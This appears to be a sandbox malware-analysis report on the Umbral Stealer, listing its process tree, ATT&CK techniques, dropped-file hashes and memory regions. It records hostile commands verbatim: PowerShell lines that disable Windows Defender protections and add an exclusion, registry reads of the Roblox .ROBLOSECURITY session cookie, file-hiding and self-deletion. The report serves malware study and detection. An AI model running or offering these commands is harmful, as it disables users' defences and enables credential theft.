C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3160

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Umbral.Stealer\" -ad -an -ai#7zMap29340:90:7zEvent7427
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4340

C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.builder.exe
"C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.builder.exe"
1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2044

C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.exe
"C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4496
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3424
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:5112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  PID:1900
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.exe" && pause
  2⤵
  PID:2760
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\867490eb-2ffd-444c-af88-292c42dbddc6.tmp

Filesize
11KB

MD5
f193f20cf68521f0af5c6a038732d0ec

SHA1
fbd9508deb619dd279c38e8dab36c9868f0390c9

SHA256
cc8d57bf4e1f0a9f0b2337cd8cf52338bec26761d140bd15b8942eb4591635eb

SHA512
358d7cff180521d34539a02e24bf600c03bbde5e2a2bebc45b4361244371dd7997d891849fee251784ecab0328c101c0296d4c57f78b85e55a2b71f5f4a9257b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
2daa93382bba07cbc40af372d30ec576

SHA1
c5e709dc3e2e4df2ff841fbde3e30170e7428a94

SHA256
1826d2a57b1938c148bf212a47d947ed1bfb26cfc55868931f843ee438117f30

SHA512
65635cb59c81548a9ef8fdb0942331e7f3cd0c30ce1d4dba48aed72dbb27b06511a55d2aeaadfadbbb4b7cb4b2e2772bbabba9603b3f7d9c8b9e4a7fbf3d6b6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ecdc2754d7d2ae862272153aa9b9ca6e

SHA1
c19bed1c6e1c998b9fa93298639ad7961339147d

SHA256
a13d791473f836edcab0e93451ce7b7182efbbc54261b2b5644d319e047a00a7

SHA512
cd4fb81317d540f8b15f1495a381bb6f0f129b8923a7c06e4b5cf777d2625c30304aee6cc68aa20479e08d84e5030b43fbe93e479602400334dfdd7297f702f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
6b00e2009e4cfd8efdddbe5670879b8a

SHA1
7e5830095ac4160c065c52f63513b8fd98c5cd23

SHA256
6b3ef1e0ab78e8e1649e213aa2da357c4f37ad26bf02e4ad8133aee329616ad8

SHA512
858a2d2a9f2052cde5b10dd717c2c4e7d8ea861c123ae934504d34c4a9d9344119a934758bff1fc9ae2021ed2559f8d058197ef29cc1ad8595040032d44a638f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
8f4a79071245c5433a9fa84b2084f9ae

SHA1
e4a4c31060de92c03ff2b465e066f025626f2d4a

SHA256
6c5262ea09ec9feddf9c52198a4a8979880fd4dbf967edcb0467cfc266696b17

SHA512
ff80c68207f45585b1db3b2d5b72ffd8ccae357585d93eb8cd4f85d25d6c54958a0004448471a7884e318e8365d0cd76ac5e97e18e714d7fc6af5d588627e8db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
13KB

MD5
f198bdb1ec304893876d315ac042f8fa

SHA1
db469ef9a8bea630fe319960f587b0359f38f9ff

SHA256
c49ebd4f7b83546929f90f2aba0c60f460331427ff5714d28e743e9cc222ebdf

SHA512
3e14576cb9279bc5ea008e6b075e4a965e77ea94a923a35547e4c2a499451a6f3ae7fb883096b0842dab08b07b1fd3214c8fdeb4ea768528df4d81880df11bd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
580B

MD5
b175e05d6e655f3cef311bc84089fcb2

SHA1
a749a9263cbd89ca6871e8a4de56e6511bc834a1

SHA256
cc8b8e52eae266b6504876ff21f63e24a978fe7ba81789ac511d435226e520a9

SHA512
d5ee7f28aa8b37f5cf5639eb93dc69becc3f663cd9c1bfb8bd229390261a75957ae94c35ff87c264d7cd76fec00e5073668a85c330b43db6f74f73b0b76fccb8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
e2fd97f0214d20e5a040aa64b8aeb1df

SHA1
bf278018a4c5293ee3f2b9cb4d43ec49f557fddb

SHA256
b11dc4d07d6f8053e1ff7d4368b8a07c475f383bfa807af6c016687a5f651ebb

SHA512
f591214ce160b38f83a2cc07ab634c67401a6a5715af57f4afad8ef3921a0b4e31e1049e36d4cdcedaf90276494614230cfe967d972fe8b6869612e1666a8ba2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8bdc18cb8e7c17d2956fa2bc57150fb9

SHA1
aae0b151b1c84cd6a86e484ca024f2373a3eb212

SHA256
fa81b03678e073c2454a4f161a32ec9cdde8f466ba6723d51a60c91a271b2ceb

SHA512
0e03f555bfd7552a16516d07d6444a5d7da83c17979a7397435d39f01b5f7f4cd5ddfe45838cbe5e68342ab79c1655b5ebefe9375fb55cbe5578c0b10a1911bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
fd5425794df0cc20950636f5c309d60d

SHA1
19e195d7fb7cbec1c7da6b57a6621ba32bbe0d3c

SHA256
e2b8d624185d021fe30cb0d216736bc90f6042c6a265097c6f35cb187329cc1b

SHA512
788b22ddf3ea7ec9cd08074e56f97edd7f4ee8630fc3fff998279a91cd27ac3ee49f30f45d0ebf0772c796e27bd97bfb74c9afec3eaeb0370d3433ef5c66a7c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
af3c0af8ed3eba4055b6107656887c9c

SHA1
2e5aeb9eb9cf29ac184576dd8dfa7248fc41e4cd

SHA256
b7a2ed97e2f12093cd50141c2a7d8f6f58217b6c6b05f74e6500c7c17dbb8ce2

SHA512
d9812ab28b7d66e644517e5c58a0e33be719f9bcdabae3e3b6952985868bd84e74f63f9d2ce584fe6aab809dc466b6e8dec87a9c97d027d1bda5ef1826671280

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
5cf9c18a8daefee2f84e91aaeaaf9996

SHA1
d7eb9b9ebc99381d4979e820b83d16e18ab8703c

SHA256
220aa2ecf645a3cac16e36d5d3c53708c7e27c878bd072709f31a056730ceca9

SHA512
bf5840d85b404b335750b032b0ac2fddc18152e6ee8eb69ebf6b5198cbd2c3ae2a8950447af7fb61c83ef1b582ae70367df915c153d21bd315978218703885ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
929c856a9f5f4fd187b9b324e39be583

SHA1
b5d74d5b632f2b0d892c0b763f7f9c36f8677fec

SHA256
67fc49d5d72ee25add82821193e326f1109d7b88189560492686a8f9d8b6c97e

SHA512
5746885b047af646bee26dc965c2fea100c395b2cc89a868af5d5858dd273497c3ea2f567c11439a84502cceea001a661352b8d0873c2cf09b1697c583fc61dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
79f6952813009f51247491052ca9ebbb

SHA1
78210dbe806bcde87a5f00201c9068bc1737a9ca

SHA256
bee2da5d5a697d09df4aa2b1c374a083a49b4f319c11da53c43ce9520b72a5dd

SHA512
cd019d3dc84665413a23cb2f4ed8fbe6bd6673928144d7af31e70d46dc24ce876bd5ffb11cb65fd5532f8f00bd793dd883200069b06dc93becf5d1db0399c22b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itcvcltd.arq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer.zip

Filesize
3.3MB

MD5
f355889db3ff6bae624f80f41a52e619

SHA1
47f7916272a81d313e70808270c3c351207b890f

SHA256
8e95865efd39220dfc4abebc27141d9eae288a11981e43f09cbee6bf90347fe0

SHA512
bff7636f6cc0fadfd6f027e2ebda9e80fd5c64d551b2c666929b2d990509af73b082d739f14bb1497be292eafe703ebd5d7188493e2cc34b73d249fe901820eb

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.Licensing.dll

Filesize
1.3MB

MD5
2b2740e0c34a46de31cf9da8a75d77cf

SHA1
242324f1112e6387cda41686291b6e9a415eeb8c

SHA256
a9be91cae167702885a5ca74273db779e3e391e2e604cc03779ed403c53ebe43

SHA512
605eb300b159e6ed2ee872b6ee378eed7dde6541000221fcd94d52057be91cb3c7dd65c7203f05e0718303b157b6fb941498b5e653501f97f0417d459da6bc40

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.1.5.3.dll

Filesize
342KB

MD5
41c216d27c71a227774e680e95e99f31

SHA1
0a2a93d4ecbf4bbec2faf110066c6b4472b0dbf5

SHA256
012d717b4ac00c3686a772757f49c1908e223624e3974314cdb9fc9291073305

SHA512
e355ba11e41b668e4459f709e87c3e212c8986ea894791d9155791ea9d7315372fb51531eb69204ed2ee38e242de7629e4a2f090c05bf9deeea9ea965ffaf651

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.BunifuButton.dll

Filesize
107KB

MD5
21f999e5ac72a16077511d41590822de

SHA1
d8bb1a8a291f73cdf2b5658b2b65736c87db19dd

SHA256
2a62c78f1f0db2e3258135b50f7885e6734c31c74a8f2f5782f285aa268c2f71

SHA512
e04fe31870f266d772829053a6bb210a9513ff5c8c0f9a3a267ddbe1875125496caa602baf44a4e241ef84d933bd55b79af43d5871ed10c81711adecee78b8e3

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.BunifuCheckBox.dll

Filesize
102KB

MD5
ef11f59a9381df17d7ab94434f79f260

SHA1
ec11e46a636fe3927fd5fa7c30be65b958853ef0

SHA256
390252aeb6fd76a954a03853c3d883e0360dc8b3f2cf8cfed5ba94e4e5a24da4

SHA512
612b1b0f9204c605ff5e9b91816e674cdaea71fa69f81a5a7f475bf1cc8d5e12687deb1b0118b07b3d7e4764adede0576f8fc799f8155a65a70e5dafff50f73d

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.BunifuColorTransition.dll

Filesize
38KB

MD5
539d803013c0b1592d0e17a740d72687

SHA1
b0ce15e0f096d027b1d1482afa9d93bafd160f7a

SHA256
500adece1fba76dfb2fa628de9886a2661ed1a4e58a7717a5fee607206bb1d81

SHA512
77d8ab7a949db41a79371cf2ebd5d67bd4a38dd040de0073c878f50b2a6409fae2dc5db7cbf375fbc1bc571838b0a6d4848bdecc1420d91633b878585c94b9dd

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.BunifuLabel.dll

Filesize
420KB

MD5
73ca0338c9c3b7901d3621b346c76a7a

SHA1
79d26ee6e1bf0beb2ee0593562592de8ff01935b

SHA256
a505193910f7b8fd6123c00bb437bff3d2a4f28c970e24207d395554765e6ad4

SHA512
53e0b84dffbec8e465955bc91f1207ba56a55543ba3c00c66997b3ee3d4cb904e027915a12f7a9dc79ffef4cde633c9b7543436c4ab97785ca2169bc3d4aeede

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.BunifuShadowPanel.dll

Filesize
45KB

MD5
ebaf1a6efa8c7a04d174be7e0df602a7

SHA1
ce08c80e52b6cf3f62ba82408d8f32ae6bcef0d8

SHA256
1858b16074d7f9b73f462e3adcc77309800594fa96f2e0904c810eda4eaf5e86

SHA512
4ffd5dcb59a4a03273c4e88047c7d398f098302b9485d07cf5549ca0d72467102aafa69298e248250df154a8b09f7560e634cca9cb1af2838baf3965aa645b31

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Bunifu.UI.WinForms.BunifuTextBox.dll

Filesize
112KB

MD5
fd2042c49df3e74e096b8cee8cc9fe43

SHA1
4ccdb0e13c24fb71f502d50e34f00c39bcacf307

SHA256
4569393e1aad7498c6a7c8a84f79d0cd7a1d0656e912d0ddb607b61163673976

SHA512
c93ad9cb411c311b0feeefdf2089c0c13098c7d2bab56345f4e9a7fc515965a3893c613d494adbbb066801eeb3dc32237a8322f7a5f876284a06b447efdad641

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Mono.Cecil.Rocks.dll

Filesize
29KB

MD5
6fcdf77e1f173f269ff56752f273f094

SHA1
d9d26753c23fab955bb20289a20e37a1812888dc

SHA256
9db3edaa8bc6ccd7ac6e2517c743591658bd6bdd436a146e0eda101d30a1332e

SHA512
84f87537685ff55a681bf2acb4e35f77ea6ef3afc3cfb6257b7a72a62ba7f27e6a580fda89ddde2d8f9c22cce6a94622b58fe344d8fa52ff163d7cbc7d7a1804

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Mono.Cecil.dll

Filesize
352KB

MD5
037dbbacc199b24bc0ee91f60a561f06

SHA1
3f82ecbe123c783b24705862c066018f827355b6

SHA256
71c8b01208ab37a5164f5bacd69054899db9fc00f2da87dbd07dc1ee40fc06a8

SHA512
dfa108f22e5e9250d0fdecb91317278c6212773d87b9fa36ab896c3f7a66a549da3d57f71b24778fe0727408eab89cc078f260dfd245c8738a0fe78b9c812549

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.builder.exe

Filesize
114KB

MD5
d91fb6867df7e4303d98b5e90faae73c

SHA1
496f53ad8cd9381f1c1b577a73e978081002c1db

SHA256
bb19b002df31e1196b4e6530cf54c449e9cf1383d3adc5334a0442fa96b36344

SHA512
5dbcfe9bf567c6f1e18027950726af1835ab8b363ba8b040fd379b4cfe94b0894bc969b3c04fa4f1964b441a7b894bd4d37f3aabe3ea31396687a6ca093cfdc9

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.builder.exe.config

Filesize
163B

MD5
dccd44fb11b8e4ebdfb822e809a54b6f

SHA1
1889d5ae8c7c70c051cbde104af6e0f31f8c1b63

SHA256
6862b25736259f7bfd344e43eea10a703885be381eee2a745ceb12916b01a158

SHA512
dadffe41bdadfc3a79cb34369c9a8b37ce4833aee18058b02dcb13d64007f022b80b63ab404572c60278937cf83b06b00712ff9ee302e725b9d5c7fe14bd5f50

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.exe

Filesize
229KB

MD5
e432e17c2629e6c127c6865f6601da36

SHA1
d3522a8604483b31e0427e1939b59f058fc55c20

SHA256
82cdafa2614873608583bc59693360f4674733a6af8cf21709a0d1d4b5cb458b

SHA512
b78e2332d27b4cf7488ac4dea2f591cecb18bb1f31f1df1109a1dc8e6338b1059d08d5eb65cd3e028907e4edc90c0076ad2ded69cfce2f6e8c7f6cdebfc851c5

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Umbral.payload

Filesize
230KB

MD5
da7d94f96e8b7f035020b7721e968ec1

SHA1
a30abe39a9e27e5eb76fb509eb4f9edeb7c36f5e

SHA256
23d651ed623affcb1b71457c07c4f887a6ac44b04ceef74850292ab38d1b3287

SHA512
181bf779331cbe6f456a44963004e84d8850e1a61350bae66c4e5001d185740c5fbab44b536e3e055871029db23409db376778488ea1d0098ac89786387bd6e2

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\Vestris.ResourceLib.dll

Filesize
76KB

MD5
944ce5123c94c66a50376e7b37e3a6a6

SHA1
a1936ac79c987a5ba47ca3d023f740401f73529b

SHA256
7da3f0e77c4dddc82df7c16c8c781fade599b7c91e3d32eefbce215b8f06b12a

SHA512
4c034ff51cc01567f3cb0796575528ca44623b864eb606266bcf955a9259ed26b20bec0086d79038158d3a5af2ada0a90f59d7c6aae9e545294fe77825dbe08b

Download Submit
C:\Users\Admin\Downloads\Umbral.Stealer\jose-jwt.dll

Filesize
81KB

MD5
3932710fd1cfc829efaee90f08e74208

SHA1
105d65bfbc12e8e9c27d6dde9484bc85e7a7f77e

SHA256
a02b713b6a99cb0b3f85e9f389275bf904eee8be848b2a8c41507c64b264133a

SHA512
0ecb5a5b1ab5308f6c48428e244639f8d5f9a4514f9822a92f29798b1b3e7a0d60922c93543e637abd22613643feeb18cc17cdc9e906a06bc649971e678c0715

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
4028457913f9d08b06137643fe3e01bc

SHA1
a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

SHA256
289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

SHA512
c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

Download Submit
memory/1452-416-0x00000271CBB50000-0x00000271CBBA0000-memory.dmp

Filesize
320KB

Download
memory/1452-414-0x00000271CBAD0000-0x00000271CBB46000-memory.dmp

Filesize
472KB

Download
memory/1452-457-0x00000271CBAB0000-0x00000271CBAC2000-memory.dmp

Filesize
72KB

Download
memory/1452-456-0x00000271CBA60000-0x00000271CBA6A000-memory.dmp

Filesize
40KB

Download
memory/1452-418-0x00000271CBA90000-0x00000271CBAAE000-memory.dmp

Filesize
120KB

Download
memory/1452-386-0x00000271B1390000-0x00000271B13D0000-memory.dmp

Filesize
256KB

Download
memory/2044-289-0x00000198B59C0000-0x00000198B59E0000-memory.dmp

Filesize
128KB

Download
memory/2044-304-0x00000198B5DE0000-0x00000198B5EF6000-memory.dmp

Filesize
1.1MB

Download
memory/2044-376-0x00000198BD5F0000-0x00000198BD60A000-memory.dmp

Filesize
104KB

Download
memory/2044-371-0x00000198B69C0000-0x00000198B69CE000-memory.dmp

Filesize
56KB

Download
memory/2044-373-0x00000198BD400000-0x00000198BD41A000-memory.dmp

Filesize
104KB

Download
memory/2044-369-0x00000198BD430000-0x00000198BD48E000-memory.dmp

Filesize
376KB

Download
memory/2044-305-0x00000198B5B50000-0x00000198B5B80000-memory.dmp

Filesize
192KB

Download
memory/2044-287-0x000001989B590000-0x000001989B5B2000-memory.dmp

Filesize
136KB

Download
memory/2044-303-0x00000198B5F30000-0x00000198B607A000-memory.dmp

Filesize
1.3MB

Download
memory/2044-301-0x00000198B5A30000-0x00000198B5A4E000-memory.dmp

Filesize
120KB

Download
memory/2044-299-0x00000198B5A00000-0x00000198B5A10000-memory.dmp

Filesize
64KB

Download
memory/2044-297-0x00000198B5D80000-0x00000198B5DDA000-memory.dmp

Filesize
360KB

Download
memory/2044-295-0x00000198B59A0000-0x00000198B59AE000-memory.dmp

Filesize
56KB

Download
memory/2044-293-0x00000198B5D10000-0x00000198B5D7E000-memory.dmp

Filesize
440KB

Download
memory/2044-291-0x00000198B59E0000-0x00000198B5A00000-memory.dmp

Filesize
128KB

Download
memory/5012-387-0x0000027177650000-0x0000027177672000-memory.dmp

Filesize
136KB

Download